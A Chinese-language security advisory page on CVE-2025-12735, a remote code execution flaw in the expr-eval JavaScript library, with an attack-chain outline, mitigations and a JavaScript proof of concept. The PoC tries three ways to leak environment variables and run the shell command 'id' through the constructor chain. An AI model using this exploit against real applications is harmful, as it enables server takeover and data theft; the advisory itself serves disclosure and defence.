IPBUF安全漏洞报告
English
CVE-2025-12735 CVSS 9.8 严重

CVE-2025-12735 expr-eval库远程代码执行漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-12735
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
expr-eval

相关标签

CVE-2025-12735远程代码执行expr-evalJavaScript表达式注入原型链污染Node.js库漏洞输入验证不足

漏洞概述

CVE-2025-12735是expr-eval JavaScript库中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。expr-eval是一个用于安全评估数学表达式的JavaScript表达式解析和求值库,设计初衷是为用户提供灵活定义变量的能力来执行数学运算。然而,由于该库对输入验证不足,攻击者可以通过向evaluate()函数传递精心构造的上下文对象(context object),或利用MEMBER访问上下文对象的特性,触发任意代码执行。攻击者无需任何认证,也不需要用户交互,即可通过网络远程利用此漏洞。这意味着任何使用expr-eval库且允许用户控制输入表达式或上下文对象的Web应用都可能受到此漏洞的影响,可能导致服务器完全沦陷、敏感数据泄露或进一步的内网渗透。鉴于该漏洞的严重性和利用的简便性,建议受影响用户立即采取修复措施。

技术细节

expr-eval库的漏洞根源在于其对表达式解析和上下文对象访问的权限控制不足。在正常的表达式求值场景中,用户可能需要访问上下文对象中的变量,例如表达式'a+b'中,a和b是从context对象中获取的值。问题出在库允许通过特殊的语法或属性访问方式,绕过预定义的安全边界,访问到JavaScript对象的原型方法或构造函数。攻击者可以通过构造恶意的上下文对象,利用__proto__、constructor或eval等属性,在表达式求值过程中执行任意JavaScript代码。例如,攻击者可以将context对象设置为包含恶意payload的对象,当库解析类似'a.constructor'的表达式时,会返回JavaScript的构造函数对象,进一步链式调用可执行系统命令。此外,通过MEMBER访问模式,攻击者可以遍历对象属性链,最终触发代码执行。由于expr-eval通常运行在Node.js服务端环境中,任意代码执行可直接导致服务器被完全控制。

攻击链分析

STEP 1
步骤1
情报收集:攻击者识别目标应用使用了expr-eval库进行表达式解析,可能通过代码审计、依赖分析或错误信息泄露发现
STEP 2
步骤2
构造恶意上下文对象:攻击者创建一个包含特殊属性(如constructor、__proto__)的上下文对象,用于绕过安全限制
STEP 3
步骤3
构造恶意表达式:利用expr-eval的MEMBER访问特性,构造能够访问JavaScript构造函数或原型链的表达式,如this.constructor.constructor()
STEP 4
步骤4
触发代码执行:将恶意表达式和上下文对象传递给evaluate()函数,库在解析过程中会执行攻击者精心构造的代码路径
STEP 5
步骤5
远程控制:成功执行任意代码后,攻击者可以执行系统命令、读取敏感文件、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12735 PoC - Remote Code Execution in expr-eval library // This PoC demonstrates arbitrary code execution via crafted context object const { Parser } = require('expr-eval'); // Malicious context object designed to trigger RCE const maliciousContext = { // Using constructor property to access Function constructor payload: { constructor: { constructor: Function } }, // Alternative: Using __proto__ to access prototype chain __proto__: { constructor: Function } }; // Attempt to execute arbitrary code try { // Method 1: Direct Function constructor access const expr1 = 'this.constructor.constructor("return process.env")()'; console.log('[+] Testing direct constructor access...'); const result1 = Parser.evaluate(expr1); console.log('[+] Environment variables leaked:', result1); } catch (e) { console.log('[-] Method 1 failed:', e.message); } try { // Method 2: Using context object with malicious properties const expr2 = 'data.constructor.constructor("return process")()'; console.log('[+] Testing context-based access...'); const result2 = Parser.evaluate(expr2, { data: maliciousContext }); console.log('[+] Process object accessed:', Object.keys(result2)); } catch (e) { console.log('[-] Method 2 failed:', e.message); } try { // Method 3: Execute shell command via child_process const expr3 = '({}).constructor.constructor("return require(\\"child_process\\").execSync(\\"id\\")")()'; console.log('[+] Testing command execution...'); const result3 = Parser.evaluate(expr3); console.log('[+] Command output:', result3.toString()); } catch (e) { console.log('[-] Method 3 failed:', e.message); } // Safe expression (for comparison) const safeExpr = 'x + y'; console.log('[+] Safe expression result:', Parser.evaluate(safeExpr, { x: 1, y: 2 }));

影响范围

silentmatt/expr-eval < 2.0.4
jorenbroekema/expr-eval < 2.0.4

防御指南

临时缓解措施
如果无法立即升级到修复版本,可以采取以下临时缓解措施:1) 对所有传入evaluate()的表达式和上下文对象进行严格过滤,禁止包含constructor、__proto__、prototype等原型链相关属性;2) 使用正则表达式限制表达式中允许使用的字符和语法;3) 在Node.js环境中使用vm模块创建隔离的沙箱上下文,限制可访问的系统资源;4) 部署Web应用防火墙(WAF)规则识别和阻止可疑的表达式求值请求;5) 监控日志中的异常表达式求值行为,及时发现潜在攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表